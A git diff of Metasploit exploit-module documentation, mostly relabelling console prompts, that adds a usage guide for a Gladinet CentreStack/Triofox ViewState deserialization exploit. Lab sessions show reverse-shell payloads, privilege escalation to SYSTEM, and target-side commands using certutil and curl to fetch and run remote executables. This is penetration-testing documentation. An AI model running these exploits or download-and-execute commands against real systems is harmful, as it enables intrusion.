-msf5 exploit(windows/http/exchange_ecp_viewstate) > set USERNAME msflab.local\\jdoe +msf exploit(windows/http/exchange_ecp_viewstate) > set USERNAME msflab.local\\jdoe USERNAME => msflab.local\jdoe -msf5 exploit(windows/http/exchange_ecp_viewstate) > set PASSWORD Password1 +msf exploit(windows/http/exchange_ecp_viewstate) > set PASSWORD Password1 PASSWORD => Password1 -msf5 exploit(windows/http/exchange_ecp_viewstate) > set TARGET 1 +msf exploit(windows/http/exchange_ecp_viewstate) > set TARGET 1 TARGET => 1 -msf5 exploit(windows/http/exchange_ecp_viewstate) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf exploit(windows/http/exchange_ecp_viewstate) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp -msf5 exploit(windows/http/exchange_ecp_viewstate) > set LHOST 192.168.159.128 +msf exploit(windows/http/exchange_ecp_viewstate) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf5 exploit(windows/http/exchange_ecp_viewstate) > exploit +msf exploit(windows/http/exchange_ecp_viewstate) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Command Stager progress - 3.61% done (449/12424 bytes) diff --git a/documentation/modules/exploit/windows/http/exchange_proxylogon_rce.md b/documentation/modules/exploit/windows/http/exchange_proxylogon_rce.md index 70c22b971b51c..01a2e895dc9e8 100644 --- a/documentation/modules/exploit/windows/http/exchange_proxylogon_rce.md +++ b/documentation/modules/exploit/windows/http/exchange_proxylogon_rce.md @@ -88,7 +88,7 @@ make another attempt if they are not killed. ## Scenarios ``` -msf6 exploit(windows/http/exchange_proxylogon_rce) > options +msf exploit(windows/http/exchange_proxylogon_rce) > options Module options (exploit/windows/http/exchange_proxylogon_rce): @@ -124,7 +124,7 @@ Exploit target: 0 Windows Powershell -msf6 exploit(windows/http/exchange_proxylogon_rce) > exploit +msf exploit(windows/http/exchange_proxylogon_rce) > exploit [*] Executing automatic check (disable AutoCheck to override) [*] Using auxiliary/scanner/http/exchange_proxylogon as check diff --git a/documentation/modules/exploit/windows/http/exchange_proxynotshell_rce.md b/documentation/modules/exploit/windows/http/exchange_proxynotshell_rce.md index 5cc88ab4a6539..3e0b1404fef7a 100644 --- a/documentation/modules/exploit/windows/http/exchange_proxynotshell_rce.md +++ b/documentation/modules/exploit/windows/http/exchange_proxynotshell_rce.md @@ -45,13 +45,13 @@ where a Data Availability Group (DAG) is in place and causes requests to be sent ### Version and OS ``` -msf6 exploit(windows/http/exchange_proxynotshell_rce) > set RHOSTS 192.168.159.11 +msf exploit(windows/http/exchange_proxynotshell_rce) > set RHOSTS 192.168.159.11 RHOSTS => 192.168.159.11 -msf6 exploit(windows/http/exchange_proxynotshell_rce) > set USERNAME aliddle +msf exploit(windows/http/exchange_proxynotshell_rce) > set USERNAME aliddle USERNAME => aliddle -msf6 exploit(windows/http/exchange_proxynotshell_rce) > set PASSWORD Password1! +msf exploit(windows/http/exchange_proxynotshell_rce) > set PASSWORD Password1! PASSWORD => Password1! -msf6 exploit(windows/http/exchange_proxynotshell_rce) > exploit +msf exploit(windows/http/exchange_proxynotshell_rce) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/exchange_proxyshell_rce.md b/documentation/modules/exploit/windows/http/exchange_proxyshell_rce.md index b4f49686a9ede..26be4034ce233 100644 --- a/documentation/modules/exploit/windows/http/exchange_proxyshell_rce.md +++ b/documentation/modules/exploit/windows/http/exchange_proxyshell_rce.md @@ -97,17 +97,17 @@ where a Data Availability Group (DAG) is in place and causes requests to be sent ### Exchange 2016 CU 19 on Server 2016 ``` -msf6 > use exploit/windows/http/exchange_proxyshell_rce +msf > use exploit/windows/http/exchange_proxyshell_rce [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/exchange_proxyshell_rce) > set RHOSTS 192.168.159.42 +msf exploit(windows/http/exchange_proxyshell_rce) > set RHOSTS 192.168.159.42 RHOSTS => 192.168.159.42 -msf6 exploit(windows/http/exchange_proxyshell_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf exploit(windows/http/exchange_proxyshell_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/exchange_proxyshell_rce) > set LHOST 192.168.159.128 +msf exploit(windows/http/exchange_proxyshell_rce) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(windows/http/exchange_proxyshell_rce) > check +msf exploit(windows/http/exchange_proxyshell_rce) > check [+] 192.168.159.42:443 - The target is vulnerable. -msf6 exploit(windows/http/exchange_proxyshell_rce) > exploit +msf exploit(windows/http/exchange_proxyshell_rce) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/file_sharing_wizard_seh.md b/documentation/modules/exploit/windows/http/file_sharing_wizard_seh.md index fff2ec85bef23..f7483817e207e 100644 --- a/documentation/modules/exploit/windows/http/file_sharing_wizard_seh.md +++ b/documentation/modules/exploit/windows/http/file_sharing_wizard_seh.md @@ -26,10 +26,10 @@ Once installed run the application and click "Start" to enable the server. ## Scenarios ``` -msf5 > use exploit/windows/http/file_sharing_wizard_seh -msf5 exploit(windows/http/file_sharing_wizard_seh) > set RHOSTS 192.168.56.101 +msf > use exploit/windows/http/file_sharing_wizard_seh +msf exploit(windows/http/file_sharing_wizard_seh) > set RHOSTS 192.168.56.101 RHOSTS => 192.168.56.101 -msf5 exploit(windows/http/file_sharing_wizard_seh) > run +msf exploit(windows/http/file_sharing_wizard_seh) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] 192.168.56.101:80 - Connecting to target diff --git a/documentation/modules/exploit/windows/http/flexdotnetcms_upload_exec.md b/documentation/modules/exploit/windows/http/flexdotnetcms_upload_exec.md index 02aba7bafeca1..cb82ffa70f08c 100644 --- a/documentation/modules/exploit/windows/http/flexdotnetcms_upload_exec.md +++ b/documentation/modules/exploit/windows/http/flexdotnetcms_upload_exec.md @@ -58,7 +58,7 @@ Id Name ## Scenarios ### FlexDotnetCMS v1.5.8 running on Windows Server 2012 - Windows x86 target ``` -msf6 exploit(windows/http/flexdotnetcms_upload_exec) > show options +msf exploit(windows/http/flexdotnetcms_upload_exec) > show options Module options (exploit/windows/http/flexdotnetcms_upload_exec): @@ -90,7 +90,7 @@ Exploit target: 0 Windows (x86) -msf6 exploit(windows/http/flexdotnetcms_upload_exec) > run +msf exploit(windows/http/flexdotnetcms_upload_exec) > run [*] Started reverse TCP handler on 192.168.1.128:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -117,7 +117,7 @@ meterpreter > ``` ### FlexDotnetCMS v1.5.8 running on Windows Server 2012 - Windows x64 target ``` -msf6 exploit(windows/http/flexdotnetcms_upload_exec) > run +msf exploit(windows/http/flexdotnetcms_upload_exec) > run [*] Started reverse TCP handler on 192.168.1.128:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/forticlient_ems_fctid_sqli.md b/documentation/modules/exploit/windows/http/forticlient_ems_fctid_sqli.md index ab8439c292fe1..67f66627b364d 100644 --- a/documentation/modules/exploit/windows/http/forticlient_ems_fctid_sqli.md +++ b/documentation/modules/exploit/windows/http/forticlient_ems_fctid_sqli.md @@ -73,11 +73,11 @@ and download and install the .msi package. Once installed correctly you should s ## Scenarios ### FortiClientEndpointManagementServer_7.0.7.0398_x64.exe running on Windows Server 2019 (Domain Controller) ``` -msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200 +msf exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200 rhosts => 172.16.199.200 -msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1 +msf exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options +msf exploit(windows/http/forticlient_ems_fctid_sqli) > options Module options (exploit/windows/http/forticlient_ems_fctid_sqli): @@ -114,9 +114,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set verbose true +msf exploit(windows/http/forticlient_ems_fctid_sqli) > set verbose true verbose => true -msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run +msf exploit(windows/http/forticlient_ems_fctid_sqli) > run [*] Reloading module... [*] Command to run on remote host: certutil -urlcache -f http://172.16.199.1:8080/-LHoYC22ccefBZaLFchCEQ %TEMP%\pzGnmDqDGUOb.exe & start /B %TEMP%\pzGnmDqDGUOb.exe @@ -169,13 +169,13 @@ meterpreter > ### FortiClientEndpointManagementServer_7.2.2.0879_x64.exe running on Windows Server 2019 (Domain Controller) ``` -msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200 +msf exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200 rhosts => 172.16.199.200 -msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1 +msf exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set verbose true +msf exploit(windows/http/forticlient_ems_fctid_sqli) > set verbose true verbose => true -msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options +msf exploit(windows/http/forticlient_ems_fctid_sqli) > options Module options (exploit/windows/http/forticlient_ems_fctid_sqli): @@ -212,7 +212,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run +msf exploit(windows/http/forticlient_ems_fctid_sqli) > run [*] Command to run on remote host: certutil -urlcache -f http://172.16.199.1:8080/-LHoYC22ccefBZaLFchCEQ %TEMP%\xqUdZSzoE.exe & start /B %TEMP%\xqUdZSzoE.exe [*] Fetch handler listening on 172.16.199.1:8080 diff --git a/documentation/modules/exploit/windows/http/fortilogger_arbitrary_fileupload.md b/documentation/modules/exploit/windows/http/fortilogger_arbitrary_fileupload.md index 154839efe6cb3..b8925caacd6d5 100644 --- a/documentation/modules/exploit/windows/http/fortilogger_arbitrary_fileupload.md +++ b/documentation/modules/exploit/windows/http/fortilogger_arbitrary_fileupload.md @@ -42,9 +42,9 @@ Tested versions: ## Scenarios ``` -msf6 > use exploit/windows/http/fortilogger_arbitrary_fileupload +msf > use exploit/windows/http/fortilogger_arbitrary_fileupload [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/http/fortilogger_arbitrary_fileupload) > show options +msf exploit(windows/http/fortilogger_arbitrary_fileupload) > show options Module options (exploit/windows/http/fortilogger_arbitrary_fileupload): @@ -77,7 +77,7 @@ Exploit target: ### Version 4.4.2.2 ``` -msf6 exploit(windows/http/fortilogger_arbitrary_fileupload) > run +msf exploit(windows/http/fortilogger_arbitrary_fileupload) > run [*] Started reverse TCP handler on 192.168.1.46:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -106,7 +106,7 @@ meterpreter > ### Version 3.6.2.9 ``` -msf6 exploit(windows/http/fortilogger_arbitrary_fileupload) > run +msf exploit(windows/http/fortilogger_arbitrary_fileupload) > run [*] Started reverse TCP handler on 192.168.1.46:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -135,7 +135,7 @@ meterpreter > ### Version 3.4.1.7 ``` -msf6 exploit(windows/http/fortilogger_arbitrary_fileupload) > run +msf exploit(windows/http/fortilogger_arbitrary_fileupload) > run [*] Started reverse TCP handler on 192.168.1.46:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -164,7 +164,7 @@ meterpreter > ### If target is not accessible ``` -msf6 exploit(windows/http/fortilogger_arbitrary_fileupload) > run +msf exploit(windows/http/fortilogger_arbitrary_fileupload) > run [*] Started reverse TCP handler on 192.168.1.46:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -175,7 +175,7 @@ msf6 exploit(windows/http/fortilogger_arbitrary_fileupload) > run ### If target has version 5.2.0 or newest ``` -msf6 exploit(windows/http/fortilogger_arbitrary_fileupload) > run +msf exploit(windows/http/fortilogger_arbitrary_fileupload) > run [*] Started reverse TCP handler on 192.168.1.46:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/git_lfs_rce.md b/documentation/modules/exploit/windows/http/git_lfs_rce.md index 41eb8dcb4bd3b..7c981f34ea63c 100644 --- a/documentation/modules/exploit/windows/http/git_lfs_rce.md +++ b/documentation/modules/exploit/windows/http/git_lfs_rce.md @@ -25,18 +25,18 @@ executed automatically instead of the original git binary located in a trusted p ## Scenarios ### Git `v2.28.0` on Windows 10 (2004) ``` -msf6 > use windows/http/git_lfs_rce +msf > use windows/http/git_lfs_rce [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/git_lfs_rce) > set LHOST 172.16.199.1 +msf exploit(windows/http/git_lfs_rce) > set LHOST 172.16.199.1 LHOST => 172.16.199.1 -msf6 exploit(windows/http/git_lfs_rce) > set RHOSTS 172.16.199.151 +msf exploit(windows/http/git_lfs_rce) > set RHOSTS 172.16.199.151 RHOSTS => 172.16.199.151 -msf6 exploit(windows/http/git_lfs_rce) > run +msf exploit(windows/http/git_lfs_rce) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 172.16.199.1:4444 -msf6 exploit(windows/http/git_lfs_rce) > +msf exploit(windows/http/git_lfs_rce) > [*] Using URL: http://0.0.0.0:8080/4C11tyW2NVX [*] Local IP: http://192.168.2.114:8080/4C11tyW2NVX [*] Server started. @@ -46,7 +46,7 @@ msf6 exploit(windows/http/git_lfs_rce) > [*] Sending stage (200262 bytes) to 172.16.199.151 [+] Deleted .gitattributes [*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.151:50018) at 2021-09-07 12:05:55 -0400 -msf6 exploit(windows/http/git_lfs_rce) > sessions -i 1 +msf exploit(windows/http/git_lfs_rce) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -64,22 +64,22 @@ meterpreter > ### Git `v2.32.0` on Windows 10 20H2 ``` -msf6 > use windows/http/git_lfs_rce +msf > use windows/http/git_lfs_rce [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/git_lfs_rce) > set LHOST 192.168.123.1 +msf exploit(windows/http/git_lfs_rce) > set LHOST 192.168.123.1 LHOST => 192.168.123.1 -msf6 exploit(windows/http/git_lfs_rce) > set RHOSTS 192.168.123.150 +msf exploit(windows/http/git_lfs_rce) > set RHOSTS 192.168.123.150 RHOSTS => 172.16.199.151 -msf6 exploit(windows/http/git_lfs_rce) > run +msf exploit(windows/http/git_lfs_rce) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.123.1:4444 [*] Executing automatic check (disable AutoCheck to override) [+] The target is vulnerable. -msf6 exploit(windows/http/git_lfs_rce) > [*] Using URL: http://0.0.0.0:8080/15VCXHvHTOq5O +msf exploit(windows/http/git_lfs_rce) > [*] Using URL: http://0.0.0.0:8080/15VCXHvHTOq5O [*] Local IP: http://192.168.2.114:8080/15VCXHvHTOq5O [*] Server started. [*] Git repository to clone: http://192.168.123.1:8080/fixflex.git [-] Exception handling request: The git client needs to be running on windows with a version less than 2.29.2. The client found was running on: Windows and was version: 2.32.0 -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/windows/http/gitstack_rce.md b/documentation/modules/exploit/windows/http/gitstack_rce.md index 8e486bab882e4..c8da26b62c632 100644 --- a/documentation/modules/exploit/windows/http/gitstack_rce.md +++ b/documentation/modules/exploit/windows/http/gitstack_rce.md @@ -33,12 +33,12 @@ be under a certain size. ### GitStack v2.3.10 on Windows 7 SP1 ``` -msf5 > use exploit/windows/http/gitstack_rce -msf5 exploit(windows/http/gitstack_rce) > set rhost 172.22.222.122 +msf > use exploit/windows/http/gitstack_rce +msf exploit(windows/http/gitstack_rce) > set rhost 172.22.222.122 rhost => 172.22.222.122 -msf5 exploit(windows/http/gitstack_rce) > set verbose true +msf exploit(windows/http/gitstack_rce) > set verbose true verbose => true -msf5 exploit(windows/http/gitstack_rce) > run +msf exploit(windows/http/gitstack_rce) > run [*] Started reverse TCP handler on 172.22.222.131:4444 [*] Powershell command length: 6103 diff --git a/documentation/modules/exploit/windows/http/gladinet_viewstate_deserialization_cve_2025_30406.md b/documentation/modules/exploit/windows/http/gladinet_viewstate_deserialization_cve_2025_30406.md new file mode 100644 index 0000000000000..041c6a9390819 --- /dev/null +++ b/documentation/modules/exploit/windows/http/gladinet_viewstate_deserialization_cve_2025_30406.md @@ -0,0 +1,110 @@ +## Vulnerable Application +A vulnerability in Gladinet CentreStack and Triofox application using hardcoded cryptographic keys for ViewState +could allow an attacker to forge ViewState data. +This can lead to unauthorized actions such as remote code execution. +Both applications make use of a hardcoded machineKey in the IIS web.config file, which is responsible for securing +ASP.NET ViewState data. If an attacker obtains the machineKey, they can forge ViewState payloads that pass integrity checks. +This can result in ViewState deserialization attacks, potentially leading to remote code execution (RCE) on the web server. + +* Gladinet CentreStack versions up to 16.4.10315.56368 are vulnerable (fixed in 16.4.10315.56368). +* Gladinet Triofox versions up to 16.4.10317.56372 are vulnerable (fixed in 16.4.10317.56372) + +The following releases were tested. + +**Gladinet CentreStack and Triofox:** +* Gladinet CentreStack Build 16.1.10296.56315 on Windows Server 2019 +* Gladinet Triofox Build 16.1.10296.56315 on Windows Server 2019 + +## Installation steps to install Gladinet CentreStack or Triofox Enterprise Editions +* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform. +* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/). +* Download an evaluation Windows Server iso image (2016, 2019 or 2022) and install it as a VM on your virtualization engine. +* Note: Google is your best friend on how to do this ;-) +* Download the [Gladinet CentreStack gui installer](https://www.centrestack.com/p/gce_latest_release.html) or... +* Download the [Gladinet Triofox gui installer](https://access.triofox.com/releases_history/). +* Note: For Triofox, you will need a free trail account to reach the installer page. +* Run the gui installer on your Windows VM. +* Reboot your VM and you should be able to access the application via `https://your_ip/portal/loginpage.aspx`. + +You are now ready to test the module. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `use exploit/windows/http/gladinet_viewstate_deserialization_cve_2025_30406` +- [ ] `set rhosts ` +- [ ] `set rport ` +- [ ] `set lhost ` +- [ ] `set target <0=Windows Command>` +- [ ] `exploit` +- [ ] you should get a `shell` or `Meterpreter` session depending on the `payload` and `target` settings + +## Options +No specific options defined for this module. + +## Scenarios +### Gladinet CentreStack Build 16.1.10296.56315 on Windows Server 2019 - Windows Command target +```msf +msf > use exploits/windows/http/gladinet_viewstate_deserialization_cve_2025_30406 +[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(windows/http/gladinet_viewstate_deserialization_cve_2025_30406) > set rhosts 192.168.201.5 +rhosts => 192.168.201.5 +msf exploit(windows/http/gladinet_viewstate_deserialization_cve_2025_30406) > rexploit +[*] Reloading module... +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. CentreStack (Build 16.1.10296.56315) +[*] Executing Windows Command for cmd/windows/http/x64/meterpreter/reverse_tcp +[*] Sending stage (203846 bytes) to 192.168.201.5 +[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.5:49897) at 2025-05-02 20:36:56 +0000 + +meterpreter > getuid +Server username: IIS APPPOOL\portal +meterpreter > sysinfo +Computer : WIN-BJDNH44EEDB +OS : Windows Server 2019 (10.0 Build 17763). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > pwd +c:\windows\system32\inetsrv +meterpreter > getsystem +...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)). +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > +``` +### Gladinet Triofox Build 16.1.10296.56315 on Windows Server 2019 - Windows Command target +```msf +msf exploit(windows/http/gladinet_viewstate_deserialization_cve_2025_30406) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf exploit(windows/http/gladinet_viewstate_deserialization_cve_2025_30406) > rexploit +[*] Reloading module... +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Triofox (Build 16.1.10296.56315) +[*] Executing Windows Command for cmd/windows/http/x64/meterpreter/reverse_tcp +[*] Sending stage (203846 bytes) to 192.168.201.6 +[*] Meterpreter session 4 opened (192.168.201.8:4444 -> 192.168.201.6:56815) at 2025-05-02 19:55:59 +0000 + +meterpreter > getuid +Server username: IIS APPPOOL\portal +meterpreter > sysinfo +Computer : WIN-HHRQENPDSRS +OS : Windows Server 2019 (10.0 Build 17763). +Architecture : x64 +System Language : en_US +Domain : EVIL +Logged On Users : 14 +Meterpreter : x64/windows +meterpreter > pwd +c:\windows\system32\inetsrv +meterpreter > getsystem +...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)). +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > +``` +## Limitations +No limitations identified. diff --git a/documentation/modules/exploit/windows/http/hpe_sim_76_amf_deserialization.md b/documentation/modules/exploit/windows/http/hpe_sim_76_amf_deserialization.md index aa61cc9ccbc9e..7b0ec48982e51 100644 --- a/documentation/modules/exploit/windows/http/hpe_sim_76_amf_deserialization.md +++ b/documentation/modules/exploit/windows/http/hpe_sim_76_amf_deserialization.md @@ -45,13 +45,13 @@ This module exploits this vulnerability by leveraging an outdated copy of Common ### SIM_7.6_Z7550-96287 on Server 2016 ``` -msf6 > use exploit/windows/http/hpe_sim_76_amf_deserialization +msf > use exploit/windows/http/hpe_sim_76_amf_deserialization [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > set RHOSTS 172.27.145.59 +msf exploit(windows/http/hpe_sim_76_amf_deserialization) > set RHOSTS 172.27.145.59 RHOSTS => 172.27.145.59 -msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > set LHOST 172.27.150.115 +msf exploit(windows/http/hpe_sim_76_amf_deserialization) > set LHOST 172.27.150.115 LHOST => 172.27.150.115 -msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > show options +msf exploit(windows/http/hpe_sim_76_amf_deserialization) > show options Module options (exploit/windows/http/hpe_sim_76_amf_deserialization): @@ -81,7 +81,7 @@ Exploit target: 1 Windows Powershell -msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > exploit +msf exploit(windows/http/hpe_sim_76_amf_deserialization) > exploit [*] Started reverse TCP handler on 172.27.150.115:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md index 862b54bfb2b2f..423daa38c8de6 100644 --- a/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md +++ b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md @@ -58,13 +58,13 @@ Password belonging to admin user ### Ivanti Avalanche v6.3.4.153 - Windows 10 x64 ``` -msf6 > use exploit/windows/http/ivanti_avalanche_filestoreconfig_upload +msf > use exploit/windows/http/ivanti_avalanche_filestoreconfig_upload [*] No payload configured, defaulting to generic/shell_reverse_tcp -msf6 exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > set rhost 192.168.140.150 +msf exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > set rhost 192.168.140.150 rhost => 192.168.140.150 -msf6 exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > set lhost 192.168.140.1 +msf exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > set lhost 192.168.140.1 lhost => 192.168.140.1 -msf6 exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > options +msf exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > options Module options (exploit/windows/http/ivanti_avalanche_filestoreconfig_upload): @@ -99,7 +99,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > run +msf exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/ivanti_epm_recordgoodapp_sqli_rce.md b/documentation/modules/exploit/windows/http/ivanti_epm_recordgoodapp_sqli_rce.md index 5d939b7bbcf8e..16ce814f4f292 100644 --- a/documentation/modules/exploit/windows/http/ivanti_epm_recordgoodapp_sqli_rce.md +++ b/documentation/modules/exploit/windows/http/ivanti_epm_recordgoodapp_sqli_rce.md @@ -25,7 +25,7 @@ The delay to detect if the target is vulnerable using time-based SQLi in second This has been tested against EPM version 2021.1 and 2022 (no Service Update) on Windows Server 2019 ``` -msf6 exploit(windows/http/ivanti_epm_recordgoodapp_sqli_rce) > exploit verbose=true rhosts=192.168.101.130 +msf exploit(windows/http/ivanti_epm_recordgoodapp_sqli_rce) > exploit verbose=true rhosts=192.168.101.130 [*] Command to run on remote host: certutil -urlcache -f http://192.168.101.40:8080/GgcI9uEq8wim98SvWzx8DQ %TEMP%\TXnDFJhrK.exe & start /B %TEMP%\TXnDFJhrK.exe [*] Fetch handler listening on 192.168.101.40:8080 diff --git a/documentation/modules/exploit/windows/http/kentico_staging_syncserver.md b/documentation/modules/exploit/windows/http/kentico_staging_syncserver.md index 12435d6b04df7..a8a5594f1c760 100644 --- a/documentation/modules/exploit/windows/http/kentico_staging_syncserver.md +++ b/documentation/modules/exploit/windows/http/kentico_staging_syncserver.md @@ -39,7 +39,7 @@ The vulnerable application is available for download at: ### Kentico CMS v11.0 trial on Windows 7 SP 1 x64 ``` -msf5 exploit(windows/http/kentico_staging_syncserver) > show options +msf exploit(windows/http/kentico_staging_syncserver) > show options Module options (exploit/windows/http/kentico_staging_syncserver): @@ -73,7 +73,7 @@ Exploit target: 0 Windows EXE Dropper -msf5 exploit(windows/http/kentico_staging_syncserver) > exploit +msf exploit(windows/http/kentico_staging_syncserver) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Command Stager progress - 24.99% done (2999/12002 bytes) diff --git a/documentation/modules/exploit/windows/http/lg_simple_editor_rce.md b/documentation/modules/exploit/windows/http/lg_simple_editor_rce.md index c56cbc78482ce..75dbb4b8ec4df 100644 --- a/documentation/modules/exploit/windows/http/lg_simple_editor_rce.md +++ b/documentation/modules/exploit/windows/http/lg_simple_editor_rce.md @@ -30,13 +30,13 @@ After these steps, the LG Simple Editor service should be accessible on port 808 ## Scenarios ``` -msf6 > use exploit/windows/http/lg_simple_editor_rce +msf > use exploit/windows/http/lg_simple_editor_rce [*] Using configured payload windows/meterpreter/reverse_tcp -msf6 exploit(windows/http/lg_simple_editor_rce) > set rhosts 192.168.56.109 +msf exploit(windows/http/lg_simple_editor_rce) > set rhosts 192.168.56.109 rhosts => 192.168.56.109 -msf6 exploit(windows/http/lg_simple_editor_rce) > set lhost 192.168.56.1 +msf exploit(windows/http/lg_simple_editor_rce) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(windows/http/lg_simple_editor_rce) > run +msf exploit(windows/http/lg_simple_editor_rce) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/lg_simple_editor_rce_uploadvideo.md b/documentation/modules/exploit/windows/http/lg_simple_editor_rce_uploadvideo.md index b1ad8a31b07a5..3e62511320282 100644 --- a/documentation/modules/exploit/windows/http/lg_simple_editor_rce_uploadvideo.md +++ b/documentation/modules/exploit/windows/http/lg_simple_editor_rce_uploadvideo.md @@ -21,10 +21,10 @@ The vulnerable application runs on Apache Tomcat 7, which listens by default on 2. Start `msfconsole` and run the following commands: ``` -msf6 exploit(windows/http/lg_simple_editor_rce_uploadvideo) > use exploit/windows/http/lg_simple_editor_rce_uploadvideo +msf exploit(windows/http/lg_simple_editor_rce_uploadvideo) > use exploit/windows/http/lg_simple_editor_rce_uploadvideo [*] Using configured payload cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/lg_simple_editor_rce_uploadvideo) > set RHOSTS -msf6 exploit(windows/http/lg_simple_editor_rce_uploadvideo) > exploit +msf exploit(windows/http/lg_simple_editor_rce_uploadvideo) > set RHOSTS +msf exploit(windows/http/lg_simple_editor_rce_uploadvideo) > exploit ``` You should get a meterpreter session in the context of `NT AUTHORITY\SYSTEM`. @@ -35,7 +35,7 @@ Running the exploit against LG Simple Editor v3.21.0 on Windows 10 22H2, using c to the following: ``` -msf6 exploit(windows/http/lg_simple_editor_rce_uploadvideo) > exploit +msf exploit(windows/http/lg_simple_editor_rce_uploadvideo) > exploit [*] Command to run on remote host: curl -so %TEMP%\ELizAMEog.exe http://192.168.137.190:8080/Ufbk8y1KXtCzmtyya8K7Jg & start /B %TEMP%\ELizAMEog.exe diff --git a/documentation/modules/exploit/windows/http/magicinfo_traversal.md b/documentation/modules/exploit/windows/http/magicinfo_traversal.md new file mode 100644 index 0000000000000..11bd68d25e772 --- /dev/null +++ b/documentation/modules/exploit/windows/http/magicinfo_traversal.md @@ -0,0 +1,72 @@ +## Vulnerable Application + +**Vulnerability Description** + +This module exploits a path traversal vulnerability in Samsung MagicINFO 9 <= 